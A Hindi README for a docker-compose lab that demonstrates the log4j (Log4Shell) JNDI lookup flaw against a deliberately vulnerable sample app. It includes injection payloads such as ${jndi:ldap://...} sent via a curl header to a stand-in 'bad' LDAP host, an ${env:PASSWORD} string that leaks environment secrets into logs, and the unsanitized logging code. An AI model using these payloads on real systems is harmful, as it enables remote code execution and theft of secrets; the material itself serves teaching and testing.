
यह दिखाने के लिए नमूना docker-compose सेटअप कि यह exploit कैसे काम करता है
इस रिपॉजिटरी में हालिया log4j शोषण के दुरुपयोग का एक कार्यशील नमूना है। यह वास्तविक रिमोट कोड निष्पादन नहीं करता, बल्कि यह दिखाता है कि एक हमलावर कितनी आसानी से किसी असुरक्षित एप्लिकेशन से अपने स्वयं के ldap सर्वर को कॉल करवा सकता है।
यह christophetd द्वारा निर्मित उत्कृष्ट log4j नमूना असुरक्षित ऐप का उपयोग करता है: https://github.com/christophetd/log4shell-vulnerable-app
यह भेद्यता log4j की lookup कार्यक्षमता का दुरुपयोग करती है, विशेष रूप से jndi, जो log4j को इनपुट के लिए डेटा हेतु बाहरी होस्ट से लुकअप करने की अनुमति देता है। इसका शोषण पर्यावरण में संवेदनशील चर को लॉग करने से लेकर दूरस्थ रूप से कोड निष्पादित करने तक कुछ भी करने के लिए किया जा सकता है।
लॉगर को कॉल करने पर ${} में लपेटे गए किसी भी टेक्स्ट के लिए लुकअप किए जाते हैं। उदाहरण के लिए,
${jndi:ldap://someldapserver:1389/o=example}
दिए गए क्वेरी के साथ उस LDAP सर्वर पर लुकअप करेगा और परिणाम आउटपुट करेगा।
एक और सरल उदाहरण जो jndi का उपयोग नहीं करता, लेकिन फिर भी खतरनाक है:
${env:PASSWORD}
यह उस पर्यावरण चर की सामग्री को लॉग में प्रिंट करेगा। फिर उन लॉग्स को देखने की पहुंच रखने वाला कोई भी व्यक्ति एप्लिकेशन से संवेदनशील डेटा निकाल सकता है।
इस शोषण के दुरुपयोग के लिए log4j में कोड काफी सीधा है। आपको बस एक दिए गए अनुरोध गुण को बिना सैनिटाइज़ किए लॉग करने के लिए लॉगर को कॉल करना होगा। उदाहरण के लिए, आप User-Agent की सामग्री लॉग कर सकते हैं।
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
पहले, स्थानीय ldap सर्वर बनाएं:
docker build -t ldapnode .
बन जाने के बाद, निम्न चलाकर पूरा स्टैक प्रारंभ करें
docker-compose up
फिर, आप x-api-version हेडर का उपयोग करके लुकअप इंजेक्ट करने के लिए ऐप पर एक अनुरोध कर सकते हैं
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
उस अनुरोध का उपयोग करते हुए, आप docker-compose लॉग्स में देखेंगे कि ldap सर्वर को कॉल किया गया होगा:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
समाधान के मार्गों के लिए कृपया यह दस्तावेज़ देखें